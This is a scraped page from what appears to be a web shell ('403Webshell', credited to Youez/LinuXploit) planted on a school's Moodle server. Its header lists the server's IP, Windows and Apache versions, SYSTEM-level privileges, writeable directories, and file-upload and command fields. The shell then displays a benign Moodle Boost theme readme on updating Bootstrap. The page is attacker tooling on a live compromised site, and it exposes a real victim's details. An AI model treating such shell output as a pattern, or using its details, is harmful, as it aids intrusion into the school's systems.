403Webshell
Server IP : 172.67.187.206  /  Your IP : 162.159.115.42
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/tuprblearn/theme/boost/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/tuprblearn/theme/boost/readme_moodle.txt
Description of Twitter bootstrap import into Moodle

Twitter bootstrap
-----------------

Sass:
This theme uses the version 4.3.1 Twitter bootstrap sass files.
The bootstrap repository is available on:

https://github.com/twitter/bootstrap.git

To update to the latest release of twitter bootstrap:

* remove all files from scss/bootstrap,
* download the new scss files and store them in scss/bootstrap
* remove left: 0; from .popover {} in scss/bootstrap/_popover.scss. In RTL mode this prevents popovers from showing and it is not required in LTR mode.
* update ./thirdpartylibs.xml

Javascript:

This theme uses the transpiled javascript from bootstrap4 as amd modules.

To update the javascript files:
Checkout the version you are updating to in a folder, Run the follwing inside the cloned Bootstrap repository:

```
$ npm install @babel/[email protected] @babel/[email protected] babel-plugin-transform-es2015-modules-amd @babel/plugin-proposal-object-rest-spread
$ mkdir out
$ ./node_modules/@babel/cli/bin/babel.js --presets @babel/preset-env --plugins transform-es2015-modules-amd,@babel/plugin-proposal-object-rest-spread -d ./out/ js/src/
```

Copy the transpiled files from out/ into the amd/src/ folder for the theme.

Moodle core includes the popper.js Library, so make sure each of the new js files references the "core/popper" library instead of "popper.js".
For version 4.3.1 these files were: tooltip.js and dropdown.js

Move the amd/src/tools/sanatizer.js to amd/src/sanatizer.js and update libraries including sanatizer.js.
For version 4.3.1 this file was: tooltip.js

Run grunt to re-compile the JS files. (thanks to Joby Harding)

Youez - 2016 - github.com/yon3zu
LinuXploit